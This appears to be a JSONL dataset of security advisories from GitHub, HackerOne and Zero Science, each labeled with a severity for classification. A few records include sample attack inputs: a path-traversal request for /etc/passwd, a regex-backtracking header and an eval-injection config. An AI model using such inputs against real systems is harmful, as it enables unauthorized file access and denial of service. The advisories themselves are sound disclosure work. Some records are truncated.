-{"id": "d681811ead31c23dc4d3", "text": "Jupyter Server open redirect vulnerability\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nOpen redirect vulnerability - a maliciously crafted link to a jupyter server could redirect the browser to a different website.\n\nAll jupyter servers running without a base_url prefix are technically affected, however, these maliciously crafted links can only be reasonably made for known jupyter server hosts. A link to your jupyter server may *appear* safe, but ultimately redirect to a spoofed server on the public internet. This same vulnerability was patched in upstream notebook v5.7.8.\n\n### Patches\n\n_Has the problem been patched? What versions should users upgrade to?_\n\nPatched in jupyter_server 1.1.1. If upgrade is not available, a workaround can be to run your server on a url prefix:\n\n```\njupyter server --ServerApp.base_url=/jupyter/\n```\n\n### References\n\n[OWASP page on open redirects](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n\n### For more information\n\nIf you have any questions or comments about this advisory, or vulnerabilities to report, please email our security list [security@ipython.org](mailto:security@ipython.org).\n\nCredit: Yaniv Nizry from CxSCA group at Checkmarx", "text_raw": "Jupyter Server open redirect vulnerability\n\n[Severity: MEDIUM]\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nOpen redirect vulnerability - a maliciously crafted link to a jupyter server could redirect the browser to a different website.\n\nAll jupyter servers running without a base_url prefix are technically affected, however, these maliciously crafted links can only be reasonably made for known jupyter server hosts. A link to your jupyter server may *appear* safe, but ultimately redirect to a spoofed server on the public internet. This same vulnerability was patched in upstream notebook v5.7.8.\n\n### Patches\n\n_Has the problem been patched? What versions should users upgrade to?_\n\nPatched in jupyter_server 1.1.1. If upgrade is not available, a workaround can be to run your server on a url prefix:\n\n```\njupyter server --ServerApp.base_url=/jupyter/\n```\n\n### References\n\n[OWASP page on open redirects](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n\n### For more information\n\nIf you have any questions or comments about this advisory, or vulnerabilities to report, please email our security list [security@ipython.org](mailto:security@ipython.org).\n\nCredit: Yaniv Nizry from CxSCA group at Checkmarx", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-12-21", "split": "train"}
-{"id": "d151722f17ec25c1a4a5", "text": "Directory Traversal in nodeload-nmickuli\n\nAffected versions of `nodeload-nmickuli` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\nExample request:\n```\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in nodeload-nmickuli\n\n[Severity: HIGH]\n\nAffected versions of `nodeload-nmickuli` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\nExample request:\n```\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "9e0443a6dec053653edc", "text": "Path Traversal in pip\n\nThe pip package before 19.2 for Python allows Directory Traversal when a URL is given in an install command, because a Content-Disposition header can have ../ in a filename, as demonstrated by overwriting the /root/.ssh/authorized_keys file. This occurs in _download_http_url in _internal/download.py. A fix was committed 6704f2ace.", "text_raw": "Path Traversal in pip\n\n[Severity: HIGH]\n\nThe pip package before 19.2 for Python allows Directory Traversal when a URL is given in an install command, because a Content-Disposition header can have ../ in a filename, as demonstrated by overwriting the /root/.ssh/authorized_keys file. This occurs in _download_http_url in _internal/download.py. A fix was committed 6704f2ace.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-09", "split": "train"}
-{"id": "15370cdd417155e644ac", "text": "Apache Qpid Broker-J vulnerable to Denial of Service (DoS) via uncontrolled resource consumption\n\nIn Apache Qpid Broker-J versions 6.1.0 through 6.1.4 (inclusive) the broker does not properly enforce a maximum frame size in AMQP 1.0 frames. A remote unauthenticated attacker could exploit this to cause the broker to exhaust all available memory and eventually terminate.  Older AMQP protocols are not affected.", "text_raw": "Apache Qpid Broker-J vulnerable to Denial of Service (DoS) via uncontrolled resource consumption\n\n[Severity: HIGH]\n\nIn Apache Qpid Broker-J versions 6.1.0 through 6.1.4 (inclusive) the broker does not properly enforce a maximum frame size in AMQP 1.0 frames. A remote unauthenticated attacker could exploit this to cause the broker to exhaust all available memory and eventually terminate.  Older AMQP protocols are not affected.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "71cfc2cf66c94bf033d5", "text": "Cross-Site Scripting in semantic-ui-search\n\nAll versions of `semantic-ui-search` are vulnerable to Cross-Site Scripting. Lack of output encoding on the selection dropdowns can lead to user input being executed instead of printed as text.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Cross-Site Scripting in semantic-ui-search\n\n[Severity: HIGH]\n\nAll versions of `semantic-ui-search` are vulnerable to Cross-Site Scripting. Lack of output encoding on the selection dropdowns can lead to user input being executed instead of printed as text.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "dc91d32b5541a6f249e2", "text": "Smartwares HOME easy v1.0.9 Database Backup Information Disclosure Exploit", "text_raw": "Smartwares HOME easy v1.0.9 Database Backup Information Disclosure Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2019-11-05", "split": "train"}
-{"id": "cfc14fef74dd48bca4b6", "text": "Catastrophic backtracking in regex allows Denial of Service in Waitress\n\n### Impact\n\nWhen waitress receives a header that contains invalid characters it will cause the regular expression engine to catastrophically backtrack causing the process to use 100% CPU time and blocking any other interactions.\n\nThis would allow an attacker to send a single request with an invalid header and take the service offline.\n\nInvalid header example:\n\n```\nBad-header: xxxxxxxxxxxxxxx\\x10\n```\n\nIncreasing the number of `x`'s in the header will increase the amount of time Waitress spends in the regular expression engine.\n\nThis issue was introduced in version 1.4.2 when the regular expression was updated to attempt to match the behaviour required by errata associated with RFC7230.\n\n### Patches\n\nThe regular expression that is used to validate incoming headers has been updated in version 1.4.3, it is recommended that people upgrade to the new version of Waitress as soon as possible.\n\n### Workarounds\n\nIf you have deployed a reverse proxy in front of Waitress it may already be rejecting requests that include invalid headers.\n\n### Thanks\n\nThe Pylons Project would like to thank [Fil Zembowicz](https://github.com/fzembow) for reaching out and disclosing this vulnerability!\n\n### References\n\nCatastrophic backtracking explained: https://www.regular-expressions.info/catastrophic.html\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n- open an issue at https://github.com/Pylons/waitress/issues (if not sensitive or security related)\n- email the Pylons Security mailing list: pylons-project-security@googlegroups.com (if security related)", "text_raw": "Catastrophic backtracking in regex allows Denial of Service in Waitress\n\n[Severity: MEDIUM]\n\n### Impact\n\nWhen waitress receives a header that contains invalid characters it will cause the regular expression engine to catastrophically backtrack causing the process to use 100% CPU time and blocking any other interactions.\n\nThis would allow an attacker to send a single request with an invalid header and take the service offline.\n\nInvalid header example:\n\n```\nBad-header: xxxxxxxxxxxxxxx\\x10\n```\n\nIncreasing the number of `x`'s in the header will increase the amount of time Waitress spends in the regular expression engine.\n\nThis issue was introduced in version 1.4.2 when the regular expression was updated to attempt to match the behaviour required by errata associated with RFC7230.\n\n### Patches\n\nThe regular expression that is used to validate incoming headers has been updated in version 1.4.3, it is recommended that people upgrade to the new version of Waitress as soon as possible.\n\n### Workarounds\n\nIf you have deployed a reverse proxy in front of Waitress it may already be rejecting requests that include invalid headers.\n\n### Thanks\n\nThe Pylons Project would like to thank [Fil Zembowicz](https://github.com/fzembow) for reaching out and disclosing this vulnerability!\n\n### References\n\nCatastrophic backtracking explained: https://www.regular-expressions.info/catastrophic.html\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n- open an issue at https://github.com/Pylons/waitress/issues (if not sensitive or security related)\n- email the Pylons Security mailing list: pylons-project-security@googlegroups.com (if security related)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-02-04", "split": "train"}
-{"id": "01891780fefb78943b7c", "text": "Directory Traversal in shit-server\n\nAffected versions of `shit-server` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in shit-server\n\n[Severity: HIGH]\n\nAffected versions of `shit-server` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "1fce7cc96f150072ba8a", "text": "HTTP Request Smuggling in akka-http-core\n\nA vulnerable Akka HTTP server will accept a malformed message and hand it over to the user. If the user application proxies this message to another server unchanged and that server also accepts that message but interprets it as two HTTP messages, the second message has reached the second server without having been inspected by the proxy.", "text_raw": "HTTP Request Smuggling in akka-http-core\n\n[Severity: MEDIUM]\n\nA vulnerable Akka HTTP server will accept a malformed message and hand it over to the user. If the user application proxies this message to another server unchanged and that server also accepts that message but interprets it as two HTTP messages, the second message has reached the second server without having been inspected by the proxy.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "6c5d4ea8369600637785", "text": "Reference counting error in pyo3\n\nAn issue was discovered in the pyo3 crate before 0.12.4 for Rust. There is a reference-counting error and use-after-free in From<Py<T>>.", "text_raw": "Reference counting error in pyo3\n\n[Severity: MEDIUM]\n\nAn issue was discovered in the pyo3 crate before 0.12.4 for Rust. There is a reference-counting error and use-after-free in From<Py<T>>.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "37aef3edd290d586f9aa", "text": "[Uncontrolled Resource Consumption] Client DoS due to large DH parameter (CVE-2018-0732)\n\nhttps://www.openssl.org/news/secadv/20180612.txt\n\n```\nOpenSSL Security Advisory [12 June 2018]\n========================================\n\nClient DoS due to large DH parameter (CVE-2018-0732)\n====================================================\n\nDuring key agreement in a TLS handshake using a DH(E) based ciphersuite a\nmalicious server can send a very large prime value to the client. This will\ncause the client to spend an unreasonably long period of time generating a key\nfor this prime resulting in a hang until the client has finished. This could be\nexploited in a Denial Of Service attack.\n\nThis issue was reported to OpenSSL on 5th June 2018 by Guido Vranken who also\ndeveloped the fix.\n```\n\n## Impact\n\nClient DoS", "text_raw": "[Uncontrolled Resource Consumption] Client DoS due to large DH parameter (CVE-2018-0732)\n\nhttps://www.openssl.org/news/secadv/20180612.txt\n\n```\nOpenSSL Security Advisory [12 June 2018]\n========================================\n\nClient DoS due to large DH parameter (CVE-2018-0732)\n====================================================\n\nSeverity: Low\n\nDuring key agreement in a TLS handshake using a DH(E) based ciphersuite a\nmalicious server can send a very large prime value to the client. This will\ncause the client to spend an unreasonably long period of time generating a key\nfor this prime resulting in a hang until the client has finished. This could be\nexploited in a Denial Of Service attack.\n\nDue to the low severity of this issue we are not issuing a new release of\nOpenSSL 1.1.0 or 1.0.2 at this time. The fix will be included in OpenSSL 1.1.0i\nand OpenSSL 1.0.2p when they become available. The fix is also available in\ncommit ea7abeeab (for 1.1.0) and commit 3984ef0b7 (for 1.0.2) in the OpenSSL git\nrepository.\n\nThis issue was reported to OpenSSL on 5th June 2018 by Guido Vranken who also\ndeveloped the fix.\n```\n\n## Impact\n\nClient DoS", "severity": "low", "severity_label": 0, "source": "hackerone", "timestamp": "2018-09-20", "split": "train"}
-{"id": "4743535522b36ae5ee11", "text": "Command injection in portkiller\n\nThis affects all versions of package portkiller. If (attacker-controlled) user input is given, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.", "text_raw": "Command injection in portkiller\n\n[Severity: HIGH]\n\nThis affects all versions of package portkiller. If (attacker-controlled) user input is given, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "5005ca34918912d644b8", "text": "XML External Entity Injection in PyWPS\n\nAn XML external entity (XXE) injection in PyWPS before 4.5.0 allows an attacker to view files on the application server filesystem by assigning a path to the entity. OWSLib 0.24.1 may also be affected.", "text_raw": "XML External Entity Injection in PyWPS\n\n[Severity: HIGH]\n\nAn XML external entity (XXE) injection in PyWPS before 4.5.0 allows an attacker to view files on the application server filesystem by assigning a path to the entity. OWSLib 0.24.1 may also be affected.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "5db9cc153956258653da", "text": "Incorrect persistent NameID generation in SimpleSAMLphp\n\n### Background\nWhen a SimpleSAMLphp Identity Provider is misconfigured, a bug in the software when trying to build a persistent `NameID` to univocally identify the authenticating subject could cause different users to get the same identifier generated, depending on the attributes available for them right after authentication.\n\nPlease note that even though this is possible thanks to a bug, **an IdP must be misconfigured** to release persistent `NameID`s even if it is not properly configured to generate them based on the specifics of the deployment.\n\n### Description\nPersistent `NameID`s will typically be sent as part of the `Subject` element of a SAML assertion, or as the contents of the `eduPersonTargetedID` attribute. Here is an example of such a `NameID`:\n\n<NameID Format=“urn:oasis:names:tc:SAML:2.0:nameid-format:persistent“>\n        zbonsm0Yn9Gnw14uQEEPr6AO7d+IvxwCQN3t+o24jYs=\n    </NameID>\n\nSome service providers will use this information to identify a user across sessions because a persistent `NameID` will never change for a given user. This could lead to different users accessing the same account in those service providers.\n\nIn order to be affected by this issue, the following circumstances must concur:\n\n- SimpleSAMLphp acts as an identity provider.\n- The service provider asking for authentication requests a persistent `NameID`.\n- No `saml:PersistentNameID` authentication processing filter is configured (neither for the whole IdP, nor for a given SP).\n- No `simplesaml.nameidattribute` configuration option is set (neither for the whole IdP, nor for a given SP).\n- One of the following alternatives:\n  - No `userid.attribute` configuration option is set **and** the users don't have an `eduPersonPrincipalName` attribute in the users backend, **or**\n  - the `userid.attribute` configuration option is set to an empty or missing attribute.\n\nIf all these requirements are met, the `SimpleSAML_Auth_ProcessingChain` class will try to keep a unique user identifier in the state array (`addUserID()` method). Bear in mind that this code is executed **before** all the authentication processing filters configured, meaning that only those attributes retrieved for the user during **initial authentication** will be available. If no `userid.attribute` configuration option is set, the default `eduPersonPrincipalName` will then be used. However, since it is missing, no identifier will be kept. Alternatively, if `userid.attribute` is set to a missing or empty attribute, the `addUserID()` method will abort trying to register an identifier.\n\nAfter executing all authentication processing filters, SimpleSAMLphp will build a SAML assertion. If the service provider requests persistent `NameID`s, SimpleSAMLphp will attempt to generate one given that none is already available (because the `saml:PersistentNameID` filter was not used). At this point, the code will look for the `simplesaml.nameidattribute` configuration option in either the local IdP metadata or in the remote SP metadata. If none of them are configured, it will default to the unique user identifier previously registered by `SimpleSAML_Auth_ProcessingChain`. If no identifier was kept there, the code will log an error message:\n\nUnable to generate NameID. Check the userid.attribute option.\n\nHowever, instead of aborting the `NameID` generation at that point, it will go on and use a value missing from the state array as the source for the computation, meaning the `null` type will be used. Hence, all users connecting to a given service provider will get the same `NameID` generated, because all the input parameters will be the same:\n\n- The SP's entity identifier.\n- The IdP's entity identifier.\n- The `null` value.\n- The common secret salt from the main configuration.\n\n### Affected versions\nAll SimpleSAMLphp versions between 1.7.0 and 1.14.10, inclusive.\n\n### Impact\nThose identity providers affected by this bug and misconfigured as previously described could be issuing SAML assertions with common `NameID`s for all or a subset of their use", "text_raw": "Incorrect persistent NameID generation in SimpleSAMLphp\n\n[Severity: CRITICAL]\n\n### Background\nWhen a SimpleSAMLphp Identity Provider is misconfigured, a bug in the software when trying to build a persistent `NameID` to univocally identify the authenticating subject could cause different users to get the same identifier generated, depending on the attributes available for them right after authentication.\n\nPlease note that even though this is possible thanks to a bug, **an IdP must be misconfigured** to release persistent `NameID`s even if it is not properly configured to generate them based on the specifics of the deployment.\n\n### Description\nPersistent `NameID`s will typically be sent as part of the `Subject` element of a SAML assertion, or as the contents of the `eduPersonTargetedID` attribute. Here is an example of such a `NameID`:\n\n    <NameID Format=“urn:oasis:names:tc:SAML:2.0:nameid-format:persistent“>\n        zbonsm0Yn9Gnw14uQEEPr6AO7d+IvxwCQN3t+o24jYs=\n    </NameID>\n\nSome service providers will use this information to identify a user across sessions because a persistent `NameID` will never change for a given user. This could lead to different users accessing the same account in those service providers.\n\nIn order to be affected by this issue, the following circumstances must concur:\n\n- SimpleSAMLphp acts as an identity provider.\n- The service provider asking for authentication requests a persistent `NameID`.\n- No `saml:PersistentNameID` authentication processing filter is configured (neither for the whole IdP, nor for a given SP).\n- No `simplesaml.nameidattribute` configuration option is set (neither for the whole IdP, nor for a given SP).\n- One of the following alternatives:\n  - No `userid.attribute` configuration option is set **and** the users don't have an `eduPersonPrincipalName` attribute in the users backend, **or**\n  - the `userid.attribute` configuration option is set to an empty or missing attribute.\n\nIf all these requirements are met, the `SimpleSAML_Auth_ProcessingChain` class will try to keep a unique user identifier in the state array (`addUserID()` method). Bear in mind that this code is executed **before** all the authentication processing filters configured, meaning that only those attributes retrieved for the user during **initial authentication** will be available. If no `userid.attribute` configuration option is set, the default `eduPersonPrincipalName` will then be used. However, since it is missing, no identifier will be kept. Alternatively, if `userid.attribute` is set to a missing or empty attribute, the `addUserID()` method will abort trying to register an identifier.\n\nAfter executing all authentication processing filters, SimpleSAMLphp will build a SAML assertion. If the service provider requests persistent `NameID`s, SimpleSAMLphp will attempt to generate one given that none is already available (because the `saml:PersistentNameID` filter was not used). At this point, the code will look for the `simplesaml.nameidattribute` configuration option in either the local IdP metadata or in the remote SP metadata. If none of them are configured, it will default to the unique user identifier previously registered by `SimpleSAML_Auth_ProcessingChain`. If no identifier was kept there, the code will log an error message:\n\n    Unable to generate NameID. Check the userid.attribute option.\n\nHowever, instead of aborting the `NameID` generation at that point, it will go on and use a value missing from the state array as the source for the computation, meaning the `null` type will be used. Hence, all users connecting to a given service provider will get the same `NameID` generated, because all the input parameters will be the same:\n\n- The SP's entity identifier.\n- The IdP's entity identifier.\n- The `null` value.\n- The common secret salt from the main configuration.\n\n### Affected versions\nAll SimpleSAMLphp versions between 1.7.0 and 1.14.10, inclusive.\n\n### Impact\nThose identity providers affected by this bug and misconfigured as previously described could be issuing SAML assertions with common `NameID`s fo", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-01-24", "split": "train"}
-{"id": "37fd92c008d36226e457", "text": "keycloak-connect and keycloak-js improperly handle invalid tokens\n\nIt was found that the Keycloak Node.js adapter 2.5 - 3.0 did not handle invalid tokens correctly.  An attacker could use this flaw to bypass authentication and gain access to restricted information, or to possibly conduct further attacks.", "text_raw": "keycloak-connect and keycloak-js improperly handle invalid tokens\n\n[Severity: CRITICAL]\n\nIt was found that the Keycloak Node.js adapter 2.5 - 3.0 did not handle invalid tokens correctly.  An attacker could use this flaw to bypass authentication and gain access to restricted information, or to possibly conduct further attacks.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2017-11-15", "split": "train"}
-{"id": "4ddc1385d2584528e5f1", "text": "Arbitrary Code Injection in mobile-icon-resizer\n\nmobile-icon-resizer resizes large images for use as icons for iOS and Android.\n\nmobile-icon-resizer has a code execution vulnerability in versions before 0.4.3.\n\nmobile-icon-resizer takes an options object as an argument to define the resulting icons as such:\n```\nvar options = {\n  config: './config.js'\n}\nresize(options, function(err){});\n```\nconfig.js would need to be a file on the filesystem and look something like:\n```\nvar config = {\n  iOS: {\n    \"images\": [\n     /* iOS image definitions are not vulnerable */\n    ]\n  },\n  android: {\n    \"images\" : [\n      {\n        \"baseRatio\" : \"console.log('Executing script as baseRatio property')\",\n        \"folder\" : \"drawable-ldpi\"\n      },\n      {\n        \"ratio\" : \"console.log('Executing script as ratio property')\",\n        \"folder\" : \"drawable-mdpi\"\n      },\n    /* other android image defintiions ... */\n    ]\n  }\n};\n\nexports = module.exports = config;\n```\nThe parameters `ratio` and `baseRatio` are passed directly to `eval()`, thus allowing dynamic javascript payloads to be executed.\n\n## Recommendation\n\nUpdate to version 0.4.3 or later.", "text_raw": "Arbitrary Code Injection in mobile-icon-resizer\n\n[Severity: MEDIUM]\n\nmobile-icon-resizer resizes large images for use as icons for iOS and Android.\n\nmobile-icon-resizer has a code execution vulnerability in versions before 0.4.3.\n\nmobile-icon-resizer takes an options object as an argument to define the resulting icons as such:\n```\nvar options = {\n  config: './config.js'\n}\nresize(options, function(err){});\n```\nconfig.js would need to be a file on the filesystem and look something like:\n```\nvar config = {\n  iOS: {\n    \"images\": [\n     /* iOS image definitions are not vulnerable */\n    ]\n  },\n  android: {\n    \"images\" : [\n      {\n        \"baseRatio\" : \"console.log('Executing script as baseRatio property')\",\n        \"folder\" : \"drawable-ldpi\"\n      },\n      {\n        \"ratio\" : \"console.log('Executing script as ratio property')\",\n        \"folder\" : \"drawable-mdpi\"\n      },\n    /* other android image defintiions ... */\n    ]\n  }\n};\n\nexports = module.exports = config;\n```\nThe parameters `ratio` and `baseRatio` are passed directly to `eval()`, thus allowing dynamic javascript payloads to be executed.\n\n\n## Recommendation\n\nUpdate to version 0.4.3 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-27", "split": "train"}
-{"id": "208b8c78052b9d26de9f", "text": "SQL Injection in untitled-model\n\nAll versions of `untitled-model` re vulnerable to SQL Injection. Query parameters are not properly sanitized allowing attackers to inject SQL statements and execute arbitrary SQL queries.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "SQL Injection in untitled-model\n\n[Severity: HIGH]\n\nAll versions of `untitled-model` re vulnerable to SQL Injection. Query parameters are not properly sanitized allowing attackers to inject SQL statements and execute arbitrary SQL queries.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "f190fbf51b7467fe0c85", "text": "Timing attack on django-basic-auth-ip-whitelist\n\n### Impact\n\nPotential timing attack exists on websites where the basic authentication is used or configured, i.e. `BASIC_AUTH_LOGIN` and `BASIC_AUTH_PASSWORD` is set. Currently the string comparison between configured credentials and the ones provided by users is performed through a character-by-character string comparison. This enables a possibility that attacker may time the time it takes the server to validate different usernames and password, and use this knowledge to work out the valid credentials. This attack is understood not to be realistic over the Internet. However, it may be achieved from within local networks where the website is hosted, e.g. from inside a data centre where a website's server is located.\n\nSites protected by IP address whitelisting only are unaffected by this vulnerability.\n\n### Patches\nThis vulnerability has been fixed on version 0.3.4 of django-basic-auth-ip-whitelist. Update to version 0.3.4 as soon as possible and change basic authentication username and password configured on a Django project using this package.\n\n### Workarounds\nStop using basic authentication and use the IP whitelisting component only. It can be achieved by not setting `BASIC_AUTH_LOGIN` and `BASIC_AUTH_PASSWORD` in Django project settings.\n\n### References\n\n- [Django mailing list discussion](https://groups.google.com/forum/#!msg/django-developers/iAaq0pvHXuA/fpUuwjK3i2wJ)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue at https://github.com/tm-kn/django-basic-auth-ip-whitelist/issues\n* Email us at the email specified on the [security policy](https://github.com/tm-kn/django-basic-auth-ip-whitelist/security/policy).\n\n### Acknowledgements\n\nThanks to Thibaud Colas for reporting this.", "text_raw": "Timing attack on django-basic-auth-ip-whitelist\n\n[Severity: MEDIUM]\n\n### Impact\n\nPotential timing attack exists on websites where the basic authentication is used or configured, i.e. `BASIC_AUTH_LOGIN` and `BASIC_AUTH_PASSWORD` is set. Currently the string comparison between configured credentials and the ones provided by users is performed through a character-by-character string comparison. This enables a possibility that attacker may time the time it takes the server to validate different usernames and password, and use this knowledge to work out the valid credentials. This attack is understood not to be realistic over the Internet. However, it may be achieved from within local networks where the website is hosted, e.g. from inside a data centre where a website's server is located.\n\nSites protected by IP address whitelisting only are unaffected by this vulnerability.\n\n### Patches\nThis vulnerability has been fixed on version 0.3.4 of django-basic-auth-ip-whitelist. Update to version 0.3.4 as soon as possible and change basic authentication username and password configured on a Django project using this package.\n\n### Workarounds\nStop using basic authentication and use the IP whitelisting component only. It can be achieved by not setting `BASIC_AUTH_LOGIN` and `BASIC_AUTH_PASSWORD` in Django project settings.\n\n### References\n\n- [Django mailing list discussion](https://groups.google.com/forum/#!msg/django-developers/iAaq0pvHXuA/fpUuwjK3i2wJ)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue at https://github.com/tm-kn/django-basic-auth-ip-whitelist/issues\n* Email us at the email specified on the [security policy](https://github.com/tm-kn/django-basic-auth-ip-whitelist/security/policy).\n\n### Acknowledgements\n\nThanks to Thibaud Colas for reporting this.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-23", "split": "train"}
-{"id": "90ae27dfa5d84789b5c5", "text": "Improper Input Validation in xdLocalStorage\n\nAn issue was discovered in xdLocalStorage through 2.0.5. The receiveMessage() function in xdLocalStorage.js does not implement any validation of the origin of web messages. Remote attackers who can entice a user to load a malicious site can exploit this issue to impact the confidentiality and integrity of data in the local storage of the vulnerable site via malicious web messages.", "text_raw": "Improper Input Validation in xdLocalStorage\n\n[Severity: HIGH]\n\nAn issue was discovered in xdLocalStorage through 2.0.5. The receiveMessage() function in xdLocalStorage.js does not implement any validation of the origin of web messages. Remote attackers who can entice a user to load a malicious site can exploit this issue to impact the confidentiality and integrity of data in the local storage of the vulnerable site via malicious web messages.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "8fe7ea79385be453d7bc", "text": "Withdrawn, accidental duplicate publish.\n\nactiverecord/lib/active_record/relation/query_methods.rb in Active Record in Ruby on Rails 4.0.x before 4.0.9 and 4.1.x before 4.1.5 allows remote attackers to bypass the strong parameters protection mechanism via crafted input to an application that makes create_with calls.", "text_raw": "High severity vulnerability that affects activerecord\n\n[Severity: HIGH]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nactiverecord/lib/active_record/relation/query_methods.rb in Active Record in Ruby on Rails 4.0.x before 4.0.9 and 4.1.x before 4.1.5 allows remote attackers to bypass the strong parameters protection mechanism via crafted input to an application that makes create_with calls.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-21", "split": "train"}
-{"id": "e3fddab97a115c0476d0", "text": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Authenticated Command Injection", "text_raw": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Authenticated Command Injection\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-03-18", "split": "train"}
-{"id": "5c5499f19aabd21ead19", "text": "Utils.readChallengeTx does not verify the server account signature\n\nThe `Utils.readChallengeTx` function used in [SEP-10 Stellar Web Authentication](https://github.com/stellar/stellar-protocol/blob/master/ecosystem/sep-0010.md) states in its function documentation that it reads and validates the challenge transaction including verifying that the `serverAccountID` has signed the transaction. The function does not verify that the server has signed the transaction and has been fixed so that it does in v8.2.3.\n\nApplications that also used `Utils.verifyChallengeTxThreshold` or `Utils.verifyChallengeTxSigners` to verify the signatures including the server signature on the challenge transaction are unaffected as those functions verify the server signed the transaction.\n\nApplications calling `Utils.readChallengeTx` should update to v8.2.3 to ensure that the challenge transaction is completely valid and signed by the server creating the challenge transaction.", "text_raw": "Utils.readChallengeTx does not verify the server account signature\n\n[Severity: MEDIUM]\n\nThe `Utils.readChallengeTx` function used in [SEP-10 Stellar Web Authentication](https://github.com/stellar/stellar-protocol/blob/master/ecosystem/sep-0010.md) states in its function documentation that it reads and validates the challenge transaction including verifying that the `serverAccountID` has signed the transaction. The function does not verify that the server has signed the transaction and has been fixed so that it does in v8.2.3.\n\nApplications that also used `Utils.verifyChallengeTxThreshold` or `Utils.verifyChallengeTxSigners` to verify the signatures including the server signature on the challenge transaction are unaffected as those functions verify the server signed the transaction.\n\nApplications calling `Utils.readChallengeTx` should update to v8.2.3 to ensure that the challenge transaction is completely valid and signed by the server creating the challenge transaction.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-02", "split": "train"}
-{"id": "8988e3f13008cae1ec0b", "text": "Multiple security issues including data race, buffer overflow, and uninitialized memory drop in arr\n\narr crate contains multiple security issues. Specifically,\n\n1.  It incorrectly implements Sync/Send bounds, which allows to smuggle non-Sync/Send types across the thread boundary.\n2. Index and IndexMut implementation does not check the array bound.\n3. Array::new_from_template() drops uninitialized memory.", "text_raw": "Multiple security issues including data race, buffer overflow, and uninitialized memory drop in arr\n\n[Severity: MEDIUM]\n\narr crate contains multiple security issues. Specifically,\n\n1.  It incorrectly implements Sync/Send bounds, which allows to smuggle non-Sync/Send types across the thread boundary.\n2. Index and IndexMut implementation does not check the array bound.\n3. Array::new_from_template() drops uninitialized memory.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
